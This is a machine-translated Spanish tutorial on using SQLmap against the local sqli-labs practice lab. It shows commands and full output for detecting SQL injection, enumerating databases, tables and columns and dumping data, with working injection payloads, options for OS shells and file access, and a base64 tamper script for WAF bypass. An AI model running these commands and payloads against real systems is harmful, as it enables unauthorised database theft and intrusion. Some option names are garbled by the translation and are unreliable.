Uso de SQLmap para ataques y defensa de seguridad web

"Web Security Attack and Defense" utiliza sqli-labs para familiarizarse con el artefacto de SQLmap, y también estoy familiarizado con el uso de esta herramienta.

Los pasos básicos de la inyección SQL:

  • Determine el tipo de inyección
  • Obtener el nombre de la base de datos
  • Obtener el nombre de la tabla de datos
  • Obtener el nombre del campo
  • recuperar datos

1 Determine el tipo de inyección

1.1 Obtener tipo

Utilice el parámetro -u para especificar la URL (nivel 1 de sqlmap)

sqlmap -u "http://localhost:4000/Less-1?id=1"

Cabe señalar que la URL debe ir acompañada preferiblemente de los parámetros solicitados.

sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind(布尔盲注)
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 9623=9623 AND 'JjhO'='JjhO


    Type: error-based(报错注入)
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x71767a7871,(SELECT (ELT(3702=3702,1))),0x716a6b6271),3702) AND 'oyIr'='oyIr


    Type: time-based blind(延时注入)
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8003 FROM (SELECT(SLEEP(5)))etaK) AND 'ACHt'='ACHt


    Type: UNION query(联合注入)
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-9510' UNION ALL SELECT NULL,CONCAT(0x71767a7871,0x65497456414974586b4c4a676479645971685666684c6163637353757955774841706b47726a6755,0x716a6b6271),NULL-- -
---

Como se mencionó anteriormente, la identificación del parámetro puede usar 4 técnicas de inyección (booleana, error, retraso, unión) y también se proporciona la carga útil utilizada. SQLmap utiliza 5 técnicas de inyección SQL:

  • Inyección conjunta
  • Inyección de error
  • Persianas booleanas
  • Retraso de la inyección
  • Inyección de pila

Si no está familiarizado con estos tipos de inyección, puede ir a sqli-labs para hacerlo. Puede consultar mi artículo anterior: https://blog.csdn.net/qq_43085611/article/details/112661431.

1.2 tipo POST o GET

Use Burp Suite para capturar paquetes (la página web que debe capturarse es una URL construida localmente, a la que generalmente se accede a través de localhost o 127.0.0.1, pero si pasa estas dos direcciones, Burp Suite no puede capturar el paquete. Puede considerar modificar el host para usar otros nombres de dominio para acceder), y finalmente guardar el paquete capturado localmente como un archivo 1.txt.

Luego use el parámetro -r para especificar el paquete HTTP (-r REQUESTFILE Cargar solicitud HTTP desde un archivo)

sqlmap -r 1.txt

Este método puede detectar vulnerabilidades de inyección de tipo GET o POST.

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 2269=2269 AND 'fYWA'='fYWA


    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b6a7671,(SELECT (ELT(8383=8383,1))),0x7176786a71),8383) AND 'THdq'='THdq


    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1253 FROM (SELECT(SLEEP(5)))PKdp) AND 'yWGz'='yWGz


    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-8764' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7671,0x766e654f656c6f7779676842616d704f53567a74486b645956614a4b527578794d6f44544775644b,0x7176786a71)-- -

Si observa detenidamente la información de solicitud proporcionada por SQLmap, puede ver que ha guardado los resultados en ejecución

[16:00:42] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:00:42] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'(运行结果保存地址)


[*] ending @ 16:00:42 /2021-01-26/

2 Obtenga el nombre de la base de datos

Usa el comando

sqlmap -r 1.txt --dbs

Información de la base de datos

web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:05:51] [INFO] fetching database names
[16:05:51] [WARNING] reflective value(s) found and filtering out
[16:05:51] [INFO] retrieved: 'mysql'
[16:05:51] [INFO] retrieved: 'information_schema'
[16:05:51] [INFO] retrieved: 'performance_schema'
[16:05:51] [INFO] retrieved: 'sys'
[16:05:51] [INFO] retrieved: 'study'
[16:05:51] [INFO] retrieved: 'hello_ssm'
[16:05:51] [INFO] retrieved: 'dvwa'
[16:05:51] [INFO] retrieved: 'security'
[16:05:51] [INFO] retrieved: 'challenges'
available databases [9]:
[*] challenges
[*] dvwa
[*] hello_ssm
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] study
[*] sys

3 Obtenga el nombre de la tabla de datos

Usa el comando

sqlmap -r 1.txt --tables

Este comando enumerará todos los nombres de las tablas en el sistema y no se usa con frecuencia.

Comandos de uso común para obtener el nombre de la tabla de datos

sqlmap -r 1.txt -D="security" --tables

Utilice -D para especificar el nombre de la base de datos para obtener el nombre de la tabla de datos de una base de datos específica. Los resultados de la ejecución son los siguientes:

[16:09:23] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:09:23] [INFO] fetching tables for database: 'security'
[16:09:23] [WARNING] reflective value(s) found and filtering out
[16:09:23] [INFO] retrieved: 'emails'
[16:09:23] [INFO] retrieved: 'referers'
[16:09:23] [INFO] retrieved: 'uagents'
[16:09:23] [INFO] retrieved: 'users'
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

[16:09:23] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'

[*] ending @ 16:09:23 /2021-01-26/

4 Obtenga el nombre del campo

Similar al método de obtener el nombre de la tabla anterior, es mejor que especifiquemos un nombre de tabla de datos

sqlmap -r 1.txt -D="security" -T emails --columns

Además de utilizar la -D="security"realización de parámetros especificados , también se puede emplear -T emailen la realización.

Los resultados de la ejecución son los siguientes:

[16:13:59] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:13:59] [INFO] fetching columns for table 'emails' in database 'security'
[16:14:00] [WARNING] reflective value(s) found and filtering out
[16:14:00] [INFO] retrieved: 'id','int'
[16:14:00] [INFO] retrieved: 'email_id','varchar(30)'
Database: security
Table: emails
[2 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| email_id | varchar(30) |
| id       | int         |
+----------+-------------+


[16:14:00] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'


[*] ending @ 16:14:00 /2021-01-26/

5 Obtener datos

El comando utilizado es:

 sqlmap -r 1.txt -D "security" -T emails -C email_id,id --dump

Los resultados de la ejecución son los siguientes:

[16:17:19] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:17:19] [INFO] fetching entries of column(s) 'email_id, id' for table 'emails' in database 'security'
[16:17:19] [WARNING] reflective value(s) found and filtering out
[16:17:19] [INFO] retrieved: '[email protected]','1'
[16:17:19] [INFO] retrieved: '[email protected]','2'
[16:17:19] [INFO] retrieved: '[email protected]','3'
[16:17:19] [INFO] retrieved: '[email protected]','4'
[16:17:19] [INFO] retrieved: '[email protected]','5'
[16:17:19] [INFO] retrieved: '[email protected]','6'
[16:17:19] [INFO] retrieved: '[email protected]','7'
[16:17:19] [INFO] retrieved: '[email protected]','8'
Database: security
Table: emails
[8 entries]
+------------------------+----+
| email_id               | id |
+------------------------+----+
| [email protected]       | 1  |
| [email protected]       | 2  |
| [email protected]    | 3  |
| [email protected]   | 4  |
| [email protected]   | 5  |
| [email protected] | 6  |
| [email protected]   | 7  |
| [email protected]      | 8  |
+------------------------+----+


[16:17:19] [INFO] table 'security.emails' dumped to CSV file '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top/dump/security/emails.csv'(数据表)
[16:17:19] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'


[*] ending @ 16:17:19 /2021-01-26/

Los datos adquiridos se guardarán en un archivo csv.

6 Otros parámetros

Configuración

  • -Nivel n: donde n es de 1 a 5, lo que representa diferentes niveles de detección (cuanto mayor sea el nivel, más completa será la prueba, pero se enviarán más solicitudes. El valor predeterminado es 1)
  • -Referer: establece el referr para engañar.
  • --Sql-shel: ejecuta sentencias SQL personalizadas
  • –Os-cmd o –os-shell: ejecuta comandos del sistema
  • --File-read: leer archivos del sistema
  • –File-write o –file-dest: escritura de archivo
  • --Nombre del módulo de sabotaje: especifique un script para omitir WAF / IDS / IPS

recoger mensaje

  • -Usuarios: todos los usuarios
  • -Passwords: la contraseña del usuario
  • -Curent-db: nombre de la base de datos actual
  • -Usuario-actual: nombre de usuario actual
  • –Is-dba: si el usuario actual es un administrador
  • -Roles: administradores de listas

7 Sabotaje

El sabotaje se usa generalmente para eludir WAF. Utilice un código base64 simple para analizarlo.

#!/usr/bin/env python


"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""


from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY


__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    """
    Base64-encodes all characters in a given payload


    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """


    return encodeBase64(payload, binary=False) if payload else payload

El sabotaje es principalmente para realizar una conversión antes de enviar. Por ejemplo, algunos sitios web realizarán el cifrado Base64 antes de enviar, y el servidor realizará el descifrado Base64 después de recibir los datos. Si no se usa sabotaje, y sqlmap se usa directamente, se enviará el texto sin formato, que definitivamente no podrá inyectarse después de que se descifre el servidor base64.

Por lo general, es necesario analizar específicamente la forma en que el sitio web envía datos para escribir un script de manipulación. Uso:--tamper 模块名(文件名) .

Supongo que te gusta

Origin blog.csdn.net/qq_43085611/article/details/113188273
Recomendado
Clasificación